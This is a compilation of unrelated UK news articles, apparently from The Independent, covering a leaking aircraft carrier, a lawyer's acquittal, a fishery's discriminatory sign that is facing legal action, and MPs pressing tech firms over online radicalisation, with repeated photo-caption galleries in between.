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winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party 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PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city 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One more added: Don't be silly I have at least 18.

Others questioned how brussel sprouts would even be able to go to waste, with one suggesting the leftovers could be used for bubble and squeak and another for brussels sprout soup.

Some even used the warning to make jokes about Brexit and the EU's powers that be in the Belgian city of Brussels.

A council spokesman told the Leicester Mercury: We send out thousands of tweets, including messages about food waste, and sometimes we get it wrong. We want residents to enjoy every aspect of Christmas Day, including the sprouts!
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Britain's new 3.1bn aircraft carrier, HMS Queen Elizabeth, is leaking and needs repairs.

The 65,000-tonne ship, hailed as Britain's most advanced warship and which was only commissioned into the Royal Navy fleet by The Queen earlier this month, has an issue with the shaft seal which was identified during sea trials, the Royal Navy told The Independent in a statement.

A spokesperson said: "This is scheduled for repair while she is alongside at Portsmouth. It does not prevent her from sailing again and her sea trials programme will not be affected."

 HMS Queen Elizabeth - Key facts and figures

According to The Sun, the 280-metre ship was letting in 200 litres of water each hour and the fix would cost millions of pounds.

A defence source said the navy was aware the ship, which took eight years to build, had an issue when it was handed over by manufacturers and The Sun said the builders would have to foot the repair bill.

The paper said an investigation was being conducted to see whether the Queen Elizabeth's sister ship, HMS Prince of Wales, has the same problem.

In pictures: construction of HMS Queen Elizabeth Show all 8 1 /8 In pictures: construction of HMS Queen Elizabeth In pictures: construction of HMS Queen Elizabeth HMS Queen Elizabeth Work continues on HMS Queen Elizabeth Aircraft Carrier at Rosyth Docks PA In pictures: construction of HMS Queen Elizabeth HMS Queen Elizabeth Workers pass scaffolding poles to each other on the flight deck of HMS Queen Elizabeth Reuters In pictures: construction of HMS Queen Elizabeth HMS Queen Elizabeth A worker sweeps in front of HMS Queen Elizabeth Reuters In pictures: construction of HMS Queen Elizabeth HMS Queen Elizabeth A view of the take off the ramp on the deck of HMS Queen Elizabeth Aircraft Carrier at Rosyth Docks PA In pictures: construction of HMS Queen Elizabeth HMS Queen Elizabeth Construction work in the hanger of HMS Queen Elizabeth Aircraft Carrier at Rosyth Docks PA In pictures: construction of HMS Queen Elizabeth HMS Queen Elizabeth Workmen carry out maintenance in a nearby dry dock as work continues on HMS Queen Elizabeth Aircraft Carrier at Rosyth Docks in Fife PA In pictures: construction of HMS Queen Elizabeth HMS Queen Elizabeth A welder works on HMS Queen Elizabeth Aircraft Carrier at Rosyth Docks PA In pictures: construction of HMS Queen Elizabeth HMS Queen Elizabeth Construction workers carry materials in the hanger of HMS Queen Elizabeth Aircraft Carrier at Rosyth Docks PA

A number of ship-building yards around the country were involved in building the Queen Elizabeth, including Govan and Scotstoun in Glasgow, Appledore in Devon, Cammell Laird in Liverpool, A&P on the Tyne in Newcastle and Portsmouth.

Around 10,000 people worked on construction of the ship, made up in sections at yards around the UK and transported to Rosyth, Fife, where it was assembled.

BAE systems, which played a key role in the construction, said it could be taken to sea with the current issue.

It said the problem would be rectified in the new year, a process expected to take a few days.

The company said: "It is normal practice for a volume of work and defect resolution to continue following vessel acceptance.

"This will be completed prior to the nation's flagship re-commencing her programme at sea in 2018."

"This is why we have sea trials for prototype ships," Defence Minister Tobias Ellwood tweeted in response to the news.

"Every ship takes on water. That's why you have pumps," Chris Parry, former senior Royal Navy officer told Sky News.

"When you get a brand new car not everything's perfect, you have to send it back to the garage to get a few things tweaked. This is exactly in that bracket.
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A high-flying City lawyer has described his three-year living hell of being wrongly accused of possessing indecent pictures of children, after opening up his home for chem-sex parties.

Tim Varchmin, 44, a former senior lawyer at Barclays in Canary Wharf, was overwhelmed by emotion when he was cleared of having the images on his computer and mobile phone.

Officers who raided his luxury flat in Lancaster Gate, west London, in 2014, also uncovered crystal meth on a glass coffee table next to a crack pipe.

But Mr Varchmin denied it belonged to him, explaining he would invite men for drug and sex parties through Grindr and give them free rein to do what they wanted.

Following a trial at the Old Bailey, Mr Varchmin was found not guilty of seven charges of possessing indecent images of children and possessing 830 milligrams of crystal meth, a class A drug.

Mr Varchmin embraced his lawyer Richard Hendron and thanked the jury which acquitted him after three hours of deliberations, bringing an end to his three years of living hell.

The case has already cost Mr Varchmin two jobs, hundreds of thousands of pounds in lost earnings and a fortune on legal fees.

He was also forced to discuss his private life and HIV status in public as part of his defence.

The court had heard how Sky Broadband had alerted the National Crime Agencys Child Exploitation and Online Protection team to suspicious activity on the defendants computer.

On the morning of 17 October 2014, police searched Mr Varchmins home addresses in Lancaster Gate and Edgware Road and his office in Canary Wharf.

When officers went to the Lancaster Gate flat, they pounded on the door for five minutes and smashed it down when no one answered.

They found 45,000 images and 106 movies on his iPhone and Apple computer, the vast majority of which were adult porn, jurors were told.

Of the indecent images of children that formed the charges, many were duplicates, the court heard.

Giving evidence, Mr Varchmin said he began hosting chem-sex parties with his former German boyfriend Jacob after receiving the devastating news that they had both contracted a drug-resistant strain of HIV.

He told jurors: It is a life-changing event. Its something you have to come to terms with. That bonded us together, but at the time we were fighting over it. We developed a more aggressive sexual life.

We had the feeling that now these stages of HIV were not a concern anymore; we could have more sex with other men, unprotected sex as well. That was our idea.

The defendant denied the crystal meth was his, saying it was Jacob who used it and he only took GHB.

But prosecutor Roger Daniells-Smith said Mr Varchmin had to take responsibility if he gave unsupervised and unhindered access to his computer.

He said: If you lie with dogs, you get fleas. If you allow people you do not know to come and use your equipment, you have to be responsible for that equipment.

He alleged the defendant, who was born in Hamburg, had searched the internet for indecent images of children using German words, but Mr Varchmin argued it could also have been his boyfriend.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 November 2022 A migrant attempting to communicate with journalists is pinned against a fence by members of staff, before being taken out of view, at the Manston immigration short-term holding facility, located at the former Defence Fire Training and Development Centre in Thanet, Kent PA UK news in pictures 7 November 2022 Handout photo issued by Just Stop Oil of a protester who has climbed a gantry on the M25 between junctions six and seven in Surrey, leading to the closure of the motorway PA UK news in pictures 6 November 2022 A grey seal with its pup, at the Donna Nook National Nature Reserve in north Lincolnshire, where they come every year in late October, November and December to give birth to their pups near the sand dunes, the wildlife spectacle attracts visitors from across the UK PA UK news in pictures 5 November 2022 Demonstrators with placards calling for a General Election march near the Houses of Parliament AFP via Getty Images UK news in pictures 4 November 2022 A peacock is seen in the early winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA

Following his acquittal, Mr Varchmin said: I am grateful that having been so badly let down by those I once trusted, the trust I chose to place in the jury has been repaid. I have been throughout the three years of this prosecution, which has been a living hell.

It is absolutely correct that the police act to protect children and minors from sexual abuse. It is absolutely right that those who perpetrate and view sexual abuse of children are prosecuted with vigour.

But it is disproportionate to prosecute every case simply as a point of policy where the evidence against a single individual is so weak and where any number of people could have committed the crime.

My mistake was to react badly to my HIV diagnosis, to trust those who did not deserve to be trusted and to find solace from the shock of my illness in the self-destructive world of chem-sex.

Mr Hendron said the case had exposed a chem-sex epidemic as well as the weakness of the prosecution evidence.

He said: The chem-sex scene in London is at epidemic proportions. Hundreds of gay men are dying in London annually, while many more are having their lives destroyed as they spiral out of control, unable to hold down jobs or maintain relationships.

More needs to be done to halt this epidemic. Mr Varchmin has got out of the destructive chem-sex scene, but at a huge financial and emotional cost to his life and reputation, betrayed by those he unwisely trusted.

PA
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The owners of a fishing lake in Oxfordshire are facing legal action after banning Eastern Europeans from using the site.

Field Farm Fisheries, near Bicester, displays a large sign declaring: No Polish or Eastern Bloc fishermen allowed. No children or dogs.

After refusing to remove it, the owner is now being taken to court by a Polish angler named Rado Papiewski.

He says the fishery, which describes itself as picturesque, tranquil and idyllic, has not replied to letters from him or the Equality and Human Rights Commission (EHRC) requesting that the sign is removed.

Mr Papiewski works for the Angling Trust, which has contributed 2,000 towards the cost of his legal battle. He hopes to raise a further 5,000 by 9 January and estimates that, in total, the case could cost up to 11,000.

The keen fisherman has set up a crowdfunding page, which has already seen more than 300 people donate a total of almost 6,300.

On the page, Mr Papiewski wrote: Recently I came across a very disturbing and discriminatory sign that said No Polish or Eastern Bloc fishermen allowed. The sign was displayed at a private fishery, which made many fellow law-abiding migrant anglers and me very upset and angry.

This disturbing sign should have never been displayed as it clearly discriminates against people from Poland and other Eastern European countries.

Rado Papiewski called the sign 'disturbing' and 'very discriminatory' (Facebook)

Mr Papiewski said he had spoken with the owner of the fishery who had refused to remove the sign and said he did not want migrants using the site because he believes they will steal from him.

The police told him it was not a matter for them and communication from the Equalities and Human Rights Commission (EHRC) failed to remove the sign, he said, forcing him to pursue a private prosecution.

He said: I believe this sign is very discriminatory to all migrant anglers who live and fish in this country. I felt that I need to take some action - and I promised anglers that I will do everything I can to have it removed.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 November 2022 A migrant attempting to communicate with journalists is pinned against a fence by members of staff, before being taken out of view, at the Manston immigration short-term holding facility, located at the former Defence Fire Training and Development Centre in Thanet, Kent PA UK news in pictures 7 November 2022 Handout photo issued by Just Stop Oil of a protester who has climbed a gantry on the M25 between junctions six and seven in Surrey, leading to the closure of the motorway PA UK news in pictures 6 November 2022 A grey seal with its pup, at the Donna Nook National Nature Reserve in north Lincolnshire, where they come every year in late October, November and December to give birth to their pups near the sand dunes, the wildlife spectacle attracts visitors from across the UK PA UK news in pictures 5 November 2022 Demonstrators with placards calling for a General Election march near the Houses of Parliament AFP via Getty Images UK news in pictures 4 November 2022 A peacock is seen in the early winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA

His lawyers are expected to claim that the sign is a breach of the Equality Act 2010, which bans discrimination on the grounds of race and nationality.

Mr Papiewski runs a project called Building Bridges that aims to build connections between English anglers and those from other countries. There are sometimes misunderstandings between groups because European anglers are used to keeping the fish they catch, whereas Britons generally throw them back.

In an update posted on Facebook, Mr Papiewski said his lawyers are starting to work on further actions and thanked all those who had donated so far.

The power of common problem-solving is huge, he added.

But Billy Evans, the former Conservative councillor who owns the fishery, refused to back down.

He told the BBC: "I shall still stand up for what I believe in.

"If they want to call me a racist for stopping thieves from coming on my private property that's what they'll do.

"I know I'm right and I'm doing the right thing."
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Internet giants have been accused of aiding terrorist groups by letting their own algorithms radicalise people and draw them into a bubble of hate.

The chair of the Home Affairs Committee warned representatives from Facebook, Twitter and YouTube that police were extremely worried about the role of technology in extremism and online grooming.

Your algorithms are doing that grooming and that radicalisation because once people go on one slightly dodgy thing, you are linking them to an awful lot of other similar things, she told a hearing in the Commons.

Recommended Terrorist manuals to make New York bomb remain online

Whether that is racist extremism or Islamist extremism, your technology is doing that job and youre not stopping it from doing so.

Ms Cooper said she had been recommended videos from a white supremacist channel on YouTube and been shown tweets from Britain First leaders Paul Golding and Jayda Fransen before they were banned from Twitter.

The Labour MP said the same issue was prevalent on Facebook and called on the companies to ensure their algorithms do not automatically pull people deeper into extremism.

Her warning came days after The Independent revealed how Google searches were leading people to terrorist manuals to make the type of bomb used in last weeks New York attack.

 Counter-terror raids arrest four men on suspicion of plotting new terror attacks

One of the media companies leading readers to an explosives guide has since removed the link, while Google appears to have disabled a related search that was directing users to a specific terrorist publication.

But other manuals published by al-Qaeda, Isis and other banned groups remain available showing jihadis how to manufacture explosives, poisons and other weapons to be used in attacks.

Major-General Chip Chapman, the former head of counter-terrorism in the Ministry of Defence, said it was almost impossible to completely remove all manuals in an ongoing game of digital whack-a-mole.

Its more difficult than people think to build a credible bomb but wed rather not have the guides on the internet at all, he told The Independent.

If you cant take it down, the metadata you get is a powerful enabler of digital interdiction.

Google doesnt forget your search history and neither do the security services.

Mr Chapman said online activity is among a threat library of markers that can trigger formal investigation by intelligence agencies and help prosecute terrorists.

Nikita Malik, director of the Henry Jackson Societys radicalisation centre, said the Government  which is currently relying on voluntary cooperation from online firms, also had a role to play.

Much remains to be done amongst the social media community in sharing trends and information regarding extremist content, she added.

In turn, the Government has an important role to play in making clear which regulation applies to service providers and holding them to account when harmful content is left online for too long.

Explosion in New York City Show all 14 1 /14 Explosion in New York City Explosion in New York City A fire truck arrives after a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City Port Authority Police watch as people evacuate after a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City Port Authority Police watch as people evacuate after a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City Police and other first responders respond to a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City Police and other first responders respond to a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City Police and other first responders respond to a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City FBI and police respond to a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City Police respond to a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City Police and other first responders respond to a reported explosion at the Port Authority Bus Terminal o AFP/Getty Images Explosion in New York City A fire truck arrives after a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City An armoured police truck occupies the street outside of the New York Port Authority in New York City, U.S. REUTERS Explosion in New York City Port Authority Police watch as people evacuate after a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City Police and other first responders respond to a reported explosion at the Port Authority Bus Terminal AFP/Getty Images Explosion in New York City Police and other first responders respond to a reported explosion at the Port Authority Bus Terminal AFP/Getty Images

All three representatives appearing before the Home Affairs Committee opposed proposals backed by Labour to fine companies failing to react to dangerous material quickly enough but said they were intensifying efforts.

Nicklas Berild Lundblad, Googles vice president of public policy for Europe, told MPs YouTube was limiting recommendations and other features on concerning videos to stop people ending up in a bubble of hate.

Theres a funnel of vulnerability where individuals are exposed to content that then is recommended, he admitted. We are increasing the response to hate speech and racism on our platform  were six months in and were not quite there yet.

The meeting on Tuesday came a day after Google launched its Redirect strategy in the UK, which will be rolled out across Europe to show people searching for extremist content counter-narratives that debunk their ideas instead.

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The search giant, which owns YouTube, said it will have 10,000 people working to identify and remove content by the end of next year and is developing machine learning and artificial intelligence to make the final human judgement quicker and more effective.

Facebook also said it was increasing efforts against extremist and malicious material on its platform, addressing Isis and al-Qaeda first and foremost and launching emergency responses to terror attacks.

Simon Milner, Facebooks director of public policy, said the social media company aimed to take down every reported piece of content that violates its rules within 48 hours.

